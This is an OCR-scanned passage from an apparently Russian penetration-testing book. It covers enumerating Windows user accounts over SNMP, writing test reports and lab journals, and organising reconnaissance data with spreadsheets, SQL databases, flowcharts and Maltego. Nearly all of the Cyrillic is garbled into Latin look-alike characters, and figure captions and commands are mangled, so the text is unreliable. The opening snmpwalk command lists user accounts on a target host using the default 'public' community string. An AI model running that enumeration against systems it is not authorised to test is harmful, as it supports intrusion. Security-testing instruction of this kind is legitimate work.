Tenepb IIOJIYyYUM CITMCOK I0JIb30BaTeIel OJTHOTO U3 paHee HaHJIeHHBIX XOCTOB:

itsecbook@kali:~# snmpwalk -c public 192.168.1.201 .1.3.6.1.4.1.77.1.2.25

enterprises.77.1.2.25.1.1.101.115.115 = "JACK"
enterprises.77.1.2.25.1.1.65.82.84.77.65.78 = "SOLIE"
enterprises.77.1.2.25.1.1.65.82.84.77.65.78 = "IVASHCEK"
enterprises.77.1.2.25.1.1.114.97.116.111.114 = "Administrator"
enterprises.77.1.2.25.1.1.116.85.115.101.114 = "TsInternetUser"
enterprises.77.1.2.25.1.1.118.105.99.101.115 = "NetShowServices"



OT1yeTbl

Yy aBTOpa 6bIJII/I COMHEHHNA OTHOCUTEJIbHO MeCTa padMellleHnuA 9TOU IJIaBbl B KHUTE.
C oztHOIT CTOPOHBI, TIOKA y HAC e1lle HET TTOJTHOM MH(POPMAITIH, MBI TOYHO HE 3HAEM, YTO
BKJIIOYMIM B OTHET 11 KaK OH 6y[[eT BBITJIA/IETD, C I[pyI‘Oﬁ CTOPOHDI, €CJIN HE CTPYKTYPU-
POBAThb N HE COXPAHATDH JaHHbIC C CaMOTO Havajia pa6OTbI, TO ITOTOM IIPEJICTaBUTH NX
Gyzet ropaszo cioxkaee. HecMoTpst Ha T0 4TO 0T4eT — (hMHAIBHBI Tiar Barieil paboThl,
JlyMath 0 HeM HEOOXO/MMO € CAMOTO HAyaJIa; TI09TOMY IJlaBa pasMellieHa He B KOHIIE
xuuru. Kak ckasan OJUH HaIll KoJlJiera, «HaM IIJIaTAT He 3a B3JIOM, a 3a OTYETHOCTDL».

MHorre BOCIPUHUMAIOT OTYETDHI KaK HEM3OEKHOe 310 TECTUPOBAHMUS HA TIPOHUK-
HoBenwe. OIHAKO, KaK HU MPUCKOPOHO 9TO OTMEYATh, TIPH YCJIOBUH HATTUYUS XOPO-
IEr0 ¥ PA3BEPHYTOTO OTYETA TIJIOXO BBITIOJHEHHBIN TECT OY/ET OIlCHEH BBITIE, YeM
C TeXHUYECKON TOYKHU 3PEHUst Oe3YIPEYHO BBINOJHEHHbIH TECT, HO C COBEPIIEHHO
HEIIPECTaBUTEILHBIM OTYETOM.

YV y4eHbIX €CTh TaKOe MOHATHE, Kak JadopaTOpHBIH xypHas. OObIYHO TIepejt TPoBe-
JIeHVeM 9KCIIePUMEHTA B HETO 3aIMChIBAETCS TIPE/IITOIaraeMblil TIJ1aH, a P JJaTbHel-
1IIeM ero IPOBEIEHUY B JKyPHAJIe PETUCTPUPYIOTCS BCe JIEHCTBUS, KOTOPbIE TIPOBOIUT
HCCJIeNI0BATENTh, IPOMEKYTOUHBIE I KOHEUHbBIE PE3YJIbTAThI, & TAKKE JOTMOJTHUTETHHAS
uHMGOpMAIHSL. ITO IEJTAETCS JJISI TOTO, YTOOBI BIIOCIIEACTBUI MOKHO ObLJIO TIPOBEPUTD
X0/ KCIIEPUMEHTA U BOCIIPOU3BECTH TIOJYUCHHBIN Pe3yJbrar; 6€3 BO3MOKHOCTH
BOCIIPOU3BEICHS OKCIIEPUMEHT He OyIeT CUUTAThCs yIauHbIM. Bee 310 B TOUHOCTH
OTHOCUTCS U K TeCTaM Ha TPOHUKHOBEHME.

Heo6x011Mo 3aiChIBATH KAsKIbIH AT ¢ CAMOTO HAYaJIa, JIeIaTh CHUMKHU 9KPaHa, CO-
XPaHSTH TAPAMETPhI 3aITyCKa YTHJIUT U PE3YJIBTAT X PAOOTHI, 3aITPOCHI K TIOUCKOBBIM
cucTeMaMm, a MHOT/[a iaske (PIKCHPOoBaTh MMPOUCXO/IsIIee Ha dKpaHe. Bee aTo Mo3BomuT
BaM TIOJITOTOBUTH TPAMOTHBII OTYET, & TAKJKE TP HEOOXOAUMOCTH TIOBTOPHUTH TPOU3-
BejleHHble JelicTBud. Ellle o711 MOBOJL 3a11MCbIBATh BCE CBOU JIEHCTBUS — CO3/IaHUE
MepCcOHANIbHON 6asbl aHHbIX. MHOTHE ClielUaaucTsl B cepe nHPOPMAIMOHHBIX
TEXHOJIOTHI B TOM HJIF MTHOM BHJIE BEYT CBOIO Oa3y, B KOTOPYIO 3aMUCHIBAIOT IIApaMe-
TPBI 3aITyCKA YTUJINT, BAPUAHTHI 3aIIPOCOB, YAAUHbIE BEKTOPBI aTaK 1 MHOTOE JIPYTOe.
Taxwe 6asbl 3HAHUH TIO3BOJISIIOT TIPOBOAUTD MOCJIEYOIIIE TECThI HA TIPOHUKHOBEHUE
HAMHOTO GBICTPEE TIPEABIYTIHX.

boiBaeT 1 Tak, 4TO He BbI OJIUH OCYIIECTBJIsIETE MIPOHUKHOBeHME. Bbl 3aK0OHOIIO-
CJIYIITHBINA TPAKIAHUH U TIBITAETECHh B3JIOMATh CUCTEMY C PA3pEIICHUS ee BIAaebIa,
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OJTHAKO BEPOSITHO, UTO B ATOT MOMEHT 3JIOYMBITIIJIEHHUK TaK>Ke MbITAETCS TPOHUKHYTh
B CHCTeMY, KOTOPYIO BbI HccJietyere. B pesyiibrate HellpaBOMEpPHBIX JeHCTBUH 1IPO-
HCXOJIUT TIOTEPst IAHHBIX, YTO BJIEYET 3a CO00i GOIbIe YOBITKHU IJIs TPE/TTPUSATHS.
B aToMm ciryyae sKypHAT MOJKET CTaTh OJIHAM U3 JIOKA3ATETbCTB Balllell HEMTPUYaCTHOCTH
K 3TOMY HHIIU/IEHTY, Be/lb BbI [a’Ke He YCIeIn 100pPaThCst 10 B3JIOMAHHOTO cepBepa.

MpobnemMa neperpy>eHHocT! HdopMaLmen

IIpesk/ie ueM MPUCTYIIUTD K PACCKA3y O PA3JIUUYHBIX CIIOCO0AX XPaHEHUsS 1 00pabOTKM
MAHHBIX, XOTETOCH OBI YITOMSTHYTh 06 O/THO#T TIPo6IIeMe, ¢ KOTOPOiT BBl HEM30€KHO CTOJK-
HeTeCh B Mpotiecce 00YUYEHVs 1 TIPOBEIEHHST TECTOB, — 3TO GOJIBIION 06BEM JIAHHBIX.

CoBpeMeHHbIIT YeJIOBEK UCIIBITBIBAET MTPOOJIEMY HEPErPYKEHHOCTH nH(pOpMaIneil
13-3a GBICTPOTO PA3BUTHS TEXHOJIOTHIT 1 IOCTYTHOCTH HH(OPMAIIMOHHBIX HCTOUYHH-
KOB. CeTo/IHST MBI IM€EM JIOCTYIT K OTPOMHOMY KOJTMUECTBY JTAHHBIX, €KETHEBHO TT0-
CTYMAIOIINX U3 COMUATBHBIX CETEH, HOBOCTHBIX TIOPTAIOB, TPUIOKEHNH MOOUITBHBIX
YCTPOTCTB, 3JEKTPOHHON TOUTHI U T. 1. YeoBeK He MoskeT 06paboTaTh 1 3allOMHUTH
BECh ATOT 06BEM. DTO CTAHOBUTCS TIPUYMHON TIPOGIIEM ¢ KOHIIEHTPAIIUEH, TTAMSITHIO
U IIPUHATHEM pelIeHUi.

Kpome toro, uz6uitok nHMGOpMaILMU MOKET IPUBECTH K TI0TEPE BPEMEHU U CHIKE-
HIIO IPOAYKTUBHOCTH. BMECTO TOro 4T0ObI COCPEOTOUUTHCS Ha BHITIOJHEHH 3a/1a4,
MbI TPATHM BPeMsI Ha YTEeHME 3JIEKTPOHHBIX IIHCEM, IPOCMOTP BUIE0, HOBOCTEN UK
JIEHTBI COLMAIbHBIX CETEll, YTO Hen30eKHO IPUBOAUT K IPOKPACTUHALIUU 1 YMEHb-
meHunio 9pGEKTUBHOCTH PabOThI.

[TeperpyskenHOCTD MHpOPMAIINE TAKIKe MOKET CTATh TPUUYMHON COIUATBHBIX TTPO-
6J1eM, BbI3BAHHBIX MH(MOPMAIMOHHBIM IIEPEHACHIIEHIEM U UCKaKeHeM (DaKTOB.
Jlio/im HAUMHATOT MOJIATAThCST HA HETTPOBEPEHHbBIE UCTOYHUKY U, KaK CJIEe/ICTBUE,
PacIpoCTpaHsATh JOKHYIO nH(popmaluio, heiikoBble HOBOCTU U HEBEPHbIE TIPeJI-
CTaBJIEHUS O MUDE.

[TocTOSTHHBIH TTPOCMOTP JIEHTBI COIMATBLHBIX CeTel BLIPaGATHIBAET B HAC TIPUBBIUKY
K OBICTPOMY ¥ TOBEPXHOCTHOMY MOTpebieHnio nHhopMaruu. Hait MO3T BBIHY KIEH
o6pabarbiBaTh HOJIBINOE KOJUUECTBO N300paskeHUH, BUEO U TEKCTA 32 KOPOTKOE
BpeMs, He OCTaBJIsIs BPEMEHU Ha aHAJIN3 1 OCMBICJICHUE.

Bce 910 IPHBOANT K CHIKEHIIO KadecTBa 00paboTku aHHbIX. Koraa Mbl moTpebiisiem
nHbOPMAIIIO OBICTPO U TOBEPXHOCTHO, MBI HE CIIOCOOHBI OJHOCTHIO YCBANBATH €€
collepsKatue U OT/IeJISITh TIABHOE OT BTOPOCTENEHHOTO. JTO BBIIMBAETCS B OIITHO0Y-
HO€ TIOHUMAHIE U BOCTIPUSITHE TTPOUCXOISIINX COOBITUI 1 MIPA B TIEJIOM, YTO, B CBOIO
OYepesb, MOKET TIPUBECTH K TIPHHSITUIO HETTPABUIBHBIX PETEHUH TN BHIPAOOTKE
JIO’KHBIX CY/KJICHUI.

Yekopennoe norpeberne nHGOPMAIK U IEPEKTIOYeHe BHUMAHVSI HA PA3INYHbIe
HCTOYHUKH TTOPOKIAET TIPOOJIEMBI € TAMSITHIO U KOHIleHTpalreil. Koraa et Bpeme-
HU Ha 00paboTKy MHMOPMAIINK, MBI He CIIOCOOHBI 3aTOMHUTH €€ U UCIOJIb30BaTh
B OyLy1Iem.
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ITO TaKKe MOKET BBI3BATH CJOKHOCTH C KOMMYHUKAITUEH U MEKITMUHOCTHBIMH OT-
HOIIECHUSIMU: JIETKO YIIYCTUTH Ba)KHbIE MOMEHTBI, HE TIOHATH CMBICJIOBBIX HIOAHCOB
U HEMPABUJIBHO MHTEPIIPETUPOBATH COOOIIEHUSI.

Yrobbl m36eKaTh YKA3aAHHBIX TPOGIEM, HEOOXOINMO Pa3BUBATH HABBIKM YIPABICHUST
nHpopMaImeii, a Takke HaBbIKU KPUTHUECKOTO MBITILICHUS.

PaboTa ¢ AadHHbIMA, BU3Yya/TIN3aLlUA

Mpi yrke paccMOTpesn MHOKECTBO CTIOCO60B cHopa JAHHBIX U3 PASTUIHBIX HC-
TOYHUKOB, ¥ MOXKET TIOKA3aThCs, YTO MOpa IePeXo/IuTh K AaJIbHEHIINM AeHCTBUSAM.
B caMbIX TPOCTBIX CIIydasix 9TO JIeHCTBUTEIBHO TaK, HO Yalle BCEro PACCMOTPEHHOTO
B IIpe/IbILYIINX TJIaBaX OKa3blBaeTcs Hepoctatouno. Ha camoMm zete, ecain peub ujetr
o0 6oJtee-MeHee KPYIMHON MH(MOPMAIIMOHHON CHCTEME, MBI TTOJTYIaeM CTOJIBKO JAHHBIX,
410 6€3 UX KATErOPU3AIUY U [TPABUJIBHOTO CTPYKTYPUPOBAHUS OBIBAET OUEHD CIIOKHO
HAUTH CBA3U MEXKY PA3INIHBIMU JAHHBIMU U GOJIBIIAS YACTh MHMDOPMAIINH OKA3bI-
BaeTcst 6eCIOIE3HON, UTO CHUKAET KauecTBO PaBGOThl M MOKET CKPBITh OT HAIIETO
B30pa YTO-TO e iCTBUTENLHO BasKHOE.

Bce nannbie, KOTOpbie MbI COOMPAIN 0 CUX HOP, TPEACTABIIN cO60NH 0OPBIBKK
HECBSI3aHHOW MH(MOPMAIIUU: CITUCOK 3JIEKTPOHHBIX JIPECOB, UMEHA MOJIb30BaTEICH,
HCTIOJIb3Y€EMbI€ IOMEHBI U T. JI.

Cucremarusupysi coOpaHHbIe paHee JaHHbIE, MbI YK€ MOJyYaeM OIPEeIEHHY O
nHbopmarnmio. Tak, HapuMep, MPpoOaHATN3NPOBAB aHHbBIE, HAall/IeHHbIE HA caliTe
1es1eBOH MH(MOPMAIIMOHHON CUCTEMBbI, Mbl Y3HAJIN NMS PYKOBOAMUTEJIS IPEIIIPUATHS;
13 METAIAHHBIX HAMIEHHBIX (DaliJIOB TIOMYYUIIHN A/IPEC 9JIEKTPOHHOM MOYTHI JAHHOTO
YeJI0BEKa; MOCJe aHaIN3a COIUAIBHBIX CeTell BBISICHUIIN, YeM OH YBJIEKAeTCs, U J10-
crasu ero (oro. Takum 06pa3om, 13 HaGOPa JAHHBIX MbI TOJTYYIN HHHOPMAIIUIO
00 OIpeIeIEHHOM COTPY/THUKE TIPETPUSITUSL,

Ho u na aTOM BCe He 3aKkaHYMBaAETC; CJELYIONUM HIaroM MocJie HoydyeHus nngop-
MallUU ABJISIETCA ee MHTEJIeKTyabHast 06paboTka. [IpenosoxKum, Mbl yCTaHOBUIIH,
UTO BCE CEPBEPHI KOMIAHUY PABOTAIOT B OMPEIeTIEHHON TOMEHHON 30He, HATIPIMED
t3.com. /lasee, 06paboTaB MOMyUIEHHBIE TAHHBIE, MBI TIOTYYUIN HHHOPMAIIUIO O CETH
npeanpusaTusa. Mbl y3HaIM, Kakoe porpaMMHoe obecriedeHne B Heil HCIoJIb3yeTcst
U KaKFMU CPEICTBAMH 3aIUTHI 00IamaeT nHGOPMAIIMOHHAS cicTeMa. Bee 3To stBis-
eTcs yxxe ntdopmarmeit. /1 nHTENIEKTyaIbHOTO aHAIN3a BbIZIBUTAEM THIIOTE3Y, YTO
OJIVH U3 CEPBEPOB KOMITAHUH SIBJISIETCST JIOBYIIIKO#, U TIPOBOAMM GoJiee riiyboKoe Hc-
cJie/loBatue, 4ToObI TIOATBEPANUTD UJIK OTIPOBEPIHYTH Hallle TPEAIIOJIOKEHNE. AHATIN3
noJtydyeHHON MH(MOPMaINK IIOMoraeT HaM IIPUHATH PellieHe O TOM, JAeHCTBUTEIbHO
JIVL CEPBEP SIBJISIETCSI JIOBYIIKOW MJIK 9TO 00BbIYHASI HH(POPMAIIMOHHAS CHCTEMA, O KO-
TOPOT 3a6bITN AIMUHUCTPATOPHI, U MBI MOKEM TIPOJOJIKUTD €€ aHAIN3 C MENhIO
HCIOJIb30BAaHNA €€ KaK TOUKH /I Ha4aIbHOTO IPOHUKHOBEHNA ?

Kak MbI y:ke roBOpuJIn, HeoOpabOTaHHbBIE JTAHHBIE cCaMU 110 cebe He MPEICTABIISTIOT
HUKAKOH 1ieHHoCTH. TaK, IocJie oncKa y Bac MOSABUJICS CITUCOK U3 HECKOJIBKUX ThICSIY
CTPOK C aJ[pecamMiu 9JIEKTPOHHOI TOYTHI, IMEHaMK, HOMepaMu Tesie(pOHOB, TTapoJisi-
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mu u T. 1. Ho Terepp Bce 9T0 HeOOXO0IMMO OPTaHU30BaTh JMOJKHBIM 00pasom. Ecim
€ CaMOro Hayajia He IIPOAyMaTh, KaK Bbl OyzeTe paboTaTh ¢ HOyYeHHBIMU JaHHBIMM,
TO B KOHI[E KOHIIOB BbI ITPOCTO TIOTEPSIETECH B OTPOMHOM UH(MOPMAITMOHHOM ITOTOKE.

MpbI paccMaTpuBasIu ToJie3Hbiil nHCTpyMeHT Maltego. O MosKeT co6upath gaHHbIe
13 PAa3JINYHBIX UICTOYHUKOB U crucTeMatnu3npoBaTh ux. Ho mgaske mpum ero ncmosb3o-
BaHUU BaM Gy/IeT TPY/HO BBIYWIECHUTH HEOOXOAMMYIO nHbopMaiimo. Mano cobpaTh
nH(opMaInio 13 pa3HbIX UCTOYHUKOB, HYKHO ellle ¥ TPaBUIbHO CTPYKTYPHUPOBAThH
ee, 00paboTaTh U MIPOAHAIN3UPOBATD.

[Tpeamomoskmum, MBI 3HAEM TOJTBKO UM COTPYHUKA ¥ Ha3zBaHue mpeanpusitust. C yero
JKe HaM HadaTh? MbI MOKeM OCyLIeCTBUTH IpocToil mouck B Google, nciopsyst
TOJIBKO MM YeJIOBEKa, HO 4TO OY/IeT, eCJI 9TO UMsI JOCTATOUHO PacIpOCTPaHEHHOE,
nanpumep Cepreii? Mbl OJIy4nM OY€Hb MHOTO JAHHBIX, U3 KOTOPBIX OyAeT Kpaiiie
CJIOKHO TIOJIYUUTh MHTEPECYIONTYIO Hac nHpopMaruio. [lJis cysKeHust orucKa MOKHO
HCII0JIb30BaTh (hoTorpauio YesoBeKa, HallIEHHYIO Ha caiiTe KOMIAHUU. DTO MPU-
BeJIeT K ero MpohuIio B COMMAMbHBIX ceTsX. [locie ananmsa mocieiHero Mbl y3HaeM
€T0 aJipec 3JEeKTPOHHOU TTOUTHI, TOPOJI, B KOTOPOM OH IIPOKUBAET, HAl/IEM eTo KOJI-
Jsier. Jlasee, y3HaB ajipec 2JIeKTPOHHOU TTOYTHI, MBI OCYTIECTBUM MTOUCK 110 (hopyMam
u 6J10raM 1, BO3MOYKHO, U3 TIOCTOB 9TOT0 YeJI0OBEKA Y3HAeM O IleJIeBOil Opranusalim
YTO-TO, UTO TIpeicTaBgeT A7 Hac untepec. Hekoropsie 'T-criernanuctsl, cKaskeM,
COBETYIOTCS C APYIMMU ydyacTHUKaMK (POPYMOB O BO3MOKHOM PeLIeHun podaiem
¢ THGOPMAITMOHHBIMI CUCTEMAaM, 32 KOTOPBbIE OHM OTBEYAIOT. A TeTleph ITPEe/ICTaBhTe,
YTO BbI IILITAETECH IIPOAHAIUZUPOBATD IPEAIIPUATHE, I/ie paOOTAIOT THICSYU YETIOBEK.

Jlannble, KOTOPbIE MbI TIOJIyYaeM Ha KaXKOM JTalle UCCAe/I0BAHNS, CTAHOBATCS OT-
MPaBHOI TOYKOM JIJIsA TTOJy4eHUsT HOBBIX JJAHHBIX, HO YK€ U3 J[PYTOTO UCTOUHUKA.
N3yueHue 1ein MPOBOAUTCS METOAUYHO, AT 32 IAaroM U MOXKET IoTpeboBaTh
GOJIBIIIOTO KOJMYECTBA BPEMEHH 1 pecypcoB. [109ToMY, Kak yike TOBOPHJIOCH, TaHHbIE
HeOoOXOAMMO OPraHU30BbIBATh 1 XPAHUTh B CTPYKTYPUPOBAHHOM BHUJE YIKE C CAMOTO
Havaa udydenus uesn. Torma Bam Oyaer yao0HO OTCAEKUBATD Pa3IMYHbIE IOTOKK
JaHHBIX, JOIOJIHATD UX U CBI3bIBATh MeKLY COO0M. B IPOTHBHOM C/Iydae BbI II0TE-
psieTe BO3MOKHOCTD 0OPaOOTKY JIAHHBIX €CJIU HE B CaMOM Hadasie paboThl, TO Yepes
HECKOJIBKO TAar0B TOUHO.

B xavectBe camMoro mpocToro npuMepa CTPyKTYPUPOBAHUS JTaHHBIX MOKHO HPU-
BECTH J[PEC IEKTPOHHON TOUTHI. VI3HAYAIBHO ajipec Oy/IeT TJIABHBIM 3JIEMEHTOM;
1ocJie TOrO KaK BbI MOJyYUTe UM YeJOBeKa, KOTOPOMY OH HPUHAJIEKUT, UM
CTaHEeT JIOUEPHUM aJieMeHTOM. M3 azfipeca MOKHO y3HATD IoMeH nipeanpusaTtust. [lo-
CKOJIBKY B JIOMEHE MOKET OBITh HECKOJIBKO a[PecoB, TO OH, B CBOIO OUEPE/lb, CTAHET
POAUTENLCKUM 3JIEMEHTOM, & a/lpecC IOYThl U UM CMECTSTCS Ha OZIHY IO3UIIMIO BHUS.
B TekcTOBOM BHjIE 9TO BBITJIAAUT CJACAYIONIM 00Pa3oM:

T3.com
admin@t3.com
Mike Doe
john@t3. com
John Smith
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Cy1iecTByeT MHOTO BO3MOKHOCTEN OPTAaHU3AIMY U XPaHeHUsT MHMOPMAINH, 1 JIydiiie
BCEro KOMOUHUPOBATH MX. YacTo /ISt TOHUMAHWSI TOCTPOEHUS CETH CAMBIM Y106~
HBIM U MTOHSITHBIM CIIOCOOOM SIBJISIETCSI TIOCTPOEHHE IPad)OB U CXeM ¢ MUHUMYMOM
TeXHUYECKON MH(OpMaIy; MHOTA, HAPUMED I HAIIMCAHUS CKPUTITOB, JIydlIie
UCIIOTb30BATH MAHHbIE, XPAHSIINECS B 0a3ax MM TEKCTOBIX (hailmax.

Tabnuupbl

OJIHUM U3 CaMBIX TIPOCTBIX CITOCOO0B OPraHU3AIMHN JIAHHBIX SABJISIOTCS Tabmuisl. OHI
UCIIOJIB3YIOTCS ¢ HE3AMAMATHBIX BPEMEH U SIBJSAIOTCSI MOIIHBIM HHCTPYMEHTOM B Py-
KaX OIBITHOTO T0JIb30Baresist. Tatepdeiic nmpeacrasisier coboit Habop CTPOK 1 CTOJIO-
I[0B, B KOTOPbIE OY€Hb yI0OHO BHOCHTH UMEHA MOJIb30BaTEIEH, AP0, KOHTAKTHBIE
JaHHbIE, TOJKHOCTH U T. [, CTOUT YIIOMSIHYTh U O BO3MOKHOCTH UMITIOPTHPOBATh
MaHHbIE U3 PA3IUYHBIX HCTOYHUKOB, BKITIOYas TEKCTOBBIE (hailibr.

ITo ymomuanuio B Kali Linux mer uncTpyMenTa Ayl yA0OHOTO yIpaBIeHus Tab/ -
I[aMH, OJTHAKO OH IOCTYTIEH 13 O(hIIHNAIbHOTO PEIO3UTOPHUS. PeKOMEH/IYIO HCIIOIb-
3oBaTh nporpammy Calc, kotopast BxoauT B coctas oducHoro nmakera LibreOffice
(puc. 5.1). On ycraHaBIMBaeTCs I0BOJIBHO MTPOCTO:

$sudo atp install libreoffice
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Puc. 5.1. Monb3oBaTenbckne gaHHble B TabnnyHOM npeactaBieHmum
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Jo6asum, uto Calc ymeer He ToJIbKO XpaHUTH JaHHble B Tabmauie. Ha camom nese
3TO JIOCTATOYHO MHOTO(YHKITMOHATbHBII MHCTPYMEHT, KOTOPBII TIO3BOJISIET IPUMeE-
HATH pasindHbie GOpPMYJIbl, (GUIBTPOBATH AaHHbIE, IUCATh COOCTBEHHBIE MAKPOCHI,
CBSI3BIBATD JIaHHbBIE M3 PA3IMYHbBIX TabJIHII, TIPEACTABILATh CBOAHYI0 HH(MOPMAIIMIO.

ba3bl AaHHbIX SQL

SQL (Structured Query Language), sI3bIK CTPYKTYPUPOBAHHbBIX 3aIIPOCOB, OBLI CO3-
Ml I yIIpaBJieHust fanubiMi. Bee mannbie, kak v B Calc, Xpausarest B TabundaHom
BUJIE, HO YiKe B CIeNMaJn3upoBaHHoil 6ase nanubix. bassl ganubix SQL ymo6HbI
[Tl XPaHEHUS JIAaHHBIX, CaM K€ S3BIK 3aIIPOCOB MO3BOJISACT UMW MAHUITYJIMPOBATH —
N0GABJIATE, YIAISITh, (GDUIBTPOBATE AaHHbIE U T. 1. V3yuerne SQL mo3BoMAT BaM
IYBCTBOBATH CeOsT IOCTATOUHO YBEPEHHO MPH TpoBeaeHnn SQL-UHbeKIHii.

Ucnonbayst Calc, mpu 6oJibiom o6beMe TaHHBIX BbI MOJKETE CTOJIKHYTHCS ¢ HEOO-
XOZIMMOCTBIO XPAHWUTH MX B Pa3HbIX (haiisiax, a Takke ¢ TPYIHOCTAMU [pr 06paboTKe
9TUX JIaHHBIX, 0COOEHHO Korja Oy/ere BbIOMpaTh mapamerp s puabrpannu. Ha-
TIPUMep, Y HECKOJIBKUX COTPYAHIKOB MOTYT OBITH OTMTHAKOBbIE IMEHA UITH (DAMUITIH,
OHM MOTYT UMEeTh OJIUH CIIysKeOHbIit HoMep Tesedona. [pu ncmonszosann SQL ata
1pobJIeMa PeraeTcst J0CTaTOuHO JIETKO.

Jlist paboThl ¢ Ga3aMu TAHHBIX BBI MOJKETE BHIOPATH JIIOOYIO CUCTEMY YITPABIEHNST,
6ynb To MySQL (puc. 5.2), MariaDB uim Oracle, Beszie Oyzer ucnosb3oBatbest SQL.
O6paTuTe cBOE BHUMAMHe U HA TaK HazbiBaeMble 6a3bl JanHbIX NoSQL.

phpMyAdmin |-
osleloe (4 strueture [ SOL 4 Search (i Query L} Export
Curtenl senver:
i dormo - MySi v | Fiters |
Recent Favorites ; Containing the word. |
R —— 1
= o
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:I'. | information_schema [0 CHARACTER_SETS W [Corowse [MiStuclure g Search  ~0 @ View
[ reets o ene trtrn | % [] CHECK_CONSTRAINTS fy ||Browse [ Stuclure ¢ Search  ~@ g View —
L [ COLLATIONS # [[Browse [ Structire & Search o @ View
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Puc. 5.2. MonynsipHbii1 MHCTPYMEHT aAMUHUCTPUPOBAHUSI CUCTEM yrpaB/ieHus
6a3amu aaHHbIX phpMyAdmin
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EQuHCTBEHHBIM 3aMETHBIM HEIOCTATKOM TaKOTO CIOCO0a XpaHEHU JaHHBIX sIBJIsI-
eTCs TO, TO JIUIS HaYaJia ero UCIoJIb30BaHMs HEOOXOAUM JI0CTATOYHO OOJIBINON 00b-
eM 3HaHUN. Be3 mpeBapuTebHOrO U3yueHust CTpyKTyp 6as manubix u SQL Bam He
y/IacTCs UCTIOB30BaTh 3TOT MeTO/T 3 pekTnBHO. CTOUT OTMETUTD, UTO CYIIECTBYET
MHOKECTBO BU3YJIbHBIX KOHCTPYKTOPOB, O3BOJIAIONIUX B KOPOTKUE CPOKHU CO3-
JIaTh He TOJIBKO Oa3y JaHHbBIX, HO U IPUSTHBIN rpaduueckuii untepdeiic k Heil. st
HAYMHAIOMNX TT0JIh30BaTEIeH 3TO MOKET MOCTYKUTH XOPOITNM TIO/ICTIOPhEM JIJIsI
ocBoeHust 9T0i Tembl. Bbl Beab yike yeranosuin LiberOffice va mpomiom mrare, He
TaK JU? IDTOT MAKeT COAEPKUT UHCTPYMEHT 110/l Ha3BaHueM Base, MO3BOJISIONNI
OBICTPO CO31aBaTh GA3bI JAHHBIX, (POPMBbI U 3AIIPOCHL.

Cxembl

Ecom Calc u SQL 1mo3BoJIsIioT XpaHuTh 1 00padaThIBaTh TaHHBIE, /IS KX BU3YaJIbHOTO
MPE/ICTABICHUS MBI PEKOMEH]LYeM UCII0Ib30BaTh G10K-cxeMbl. Vcmonb3oBanue 6J10K-
CXEM TI03BOJISIET B YZI0OHOM BU/IE IPE/ICTABISATH CBS3H MEK/LY PasJINUHbIMU JAHHbI-
MU, OITUCBIBATD TIPOIIECCHI, TPOUCXOJISIINE B OPTaHU3AIMH UJTH B MTH(GOPMAITHOHHOM
CHCTEME, 1 JIA’KE OPTaHU30BBIBATE CBOTO JIATTBHEHTITYIO PabOTY.

TepmuHaTOp (Hauano 1nu 3aBepLueHye npoLecca)

Mpouecc, 06paboTKa AaHHbIX (BbIMCIEHIE, NEPECHIKA AAHHbIX, COXPAHEHWE U T. f.)

[aHHble (onepauumn BBOAa/BbIBOAA)

MpuHATYE pelweHus (BeTBNeHNsA, Habop)

MoAroToBKa (3agaHue, U3MeHeHe NapameTpoB LMKa)

CoeauHuTenb

Ykasatenb HanpasneHnsa
3

>

Puc. 5.3. OnucaHne 0CHOBHbIX 3/1EMEHTOB 6/10K-CXEMbl
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Ha pwuc. 5.3 mpeacTaBiero omucanne OCHOBHBIX 3JIEMEHTOB GJIOK-CXEMBI, Ha
puc. 5.4 — ympoiennas 6JI0K-CXeMa OJIHOTO M3 TPOIECCOB Ha TIPETPUSTHH.

1

l

6e3onacHoctn W3roToenexve
nonyyaet email npomnycka
OT OTAENa KafpoB

Cnyx6a

[MpoBepKa AaHbIx
0 COTPYAHNKE
B 6a3e JaHHbIX
npeanpuaTUs

!

CoTpyaHuK OTKNOHNTL
HanpeH? 3aABKY

[laHHble
OTNPaBAATCA
OTBETCTBEHHOMY
nnuy

Puc. 5.4. YnpolueHHas 6/10k-cxeMa npouecca Bblaaum Npornycka Ha Npeanpusitumn

Maltego

M5 yrke paccMOTPEITH HCTIOB30BaHNE HTOTO HHCTPYMEHTA, OJTHAKO GYIIET HETUTITHIM
ele pa3 HAIIOMHUTH PO Hero. Maltego — aTo MOIIHBIIT MHCTPYMEHT JIJIs BU3YaJIi3a-
I[MM U QaHAJIN3A JIAHHBIX, UCIIOJIb3YEMBIil B CPeJie CIIEIUATUCTOB 10 MHHOOPMAITMOHHOM
GesomnacHocTy 1 passezke. OH MO3BOJISIET COOUPATD, AHATU3UPOBATH U BU3YAIM3H-
POBaATh /IaHHbIE N3 PA3JINYHBIX NCTOYHUKOB: COITMAJTbHDBIX CeTefI, 633 JITaHHDBIX, Be6-
caiitoB, DNS-cepBepoB, 2JIeKTPOHHOI TOUTHI U T. JI.
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Maltego npemocrasiisieT 0JIb30BaTE0 yA00HBIN Tpaduueckuii mHTEpdeiic, KOTo-
PBIil TI03BOJISIET BU3YaJIU3UPOBATh JlaHHble B BUjie rpada U yCTaHABJIUBATH CBSI3U
MeKIY PasIUYHbIMU d/ieMeHTaMu nHpopManuu. Takoi moaxoz I03B0seT OBICTPO
BBIABJISATH CKPBITHIE CBA3K M Y3JIbI B OOJIBIIOM 00beMe JaHHbIX, YTO MOKET ObITh
OY€Hb TI0JIE3HO B PA3JINYHBIX 00JIACTSIX, BKJIOUast HH(DOPMAITHOHHY0 GE30MaCHOCTb,
KubeppasBe/Ky, Ou3HeC-aHa i3 U T. 1.

[MomynsiprocTs Maltego o6bsicHsIeTCSt HECKOTBKUME (haKTOPaMH.

[ ] yHI/IBepCaJIbHOCTI). Maltego MOJKET MUCITIOJIb30BAaTbCA B Pa3/IMYHbIX o0JacTAx.

e IIpocrora ucrnonbzoBanus. UHTYUTHBHO MOHATHBIN rpadudeckuii nnrepdeiic
nemaet Maltego TerkuM B HCTIOTb30BAHIN JIAXKeE JIJIS TTOTb30BaTe el 6e3 Crer-
AJIbHOM TTOAITOTOBKM.

e Pacmmpsiemocth. Maltego 1103BoJIsIET OMB30BATEIO CO3/IABATH CBOM COOCTBEH-
HbI€ [JIATUHBI U UHTETPUPOBATH UX B CUCTEMY, TO €CTh HACTPAUBATh HHCTPYMEHT
MO/l KOHKPETHbIE TOTPEOHOCTH.

e MHoskecTBO JOCTYITHBIX NCTOYHUKOB TaHHDIX.

Takum ob6pasom, Maltego obagaer yHUKanbHBIM HAGOPOM (DYHKIMN U BO3MOIK-
HOCTEI, 4TO JIeJIaeT ero 0YeHb MOJIE3HBIM MHCTPYMEHTOM JIJISl Pa3IMYHbIX obsacTeli
JEATEJTBHOCTH,

CherryTree

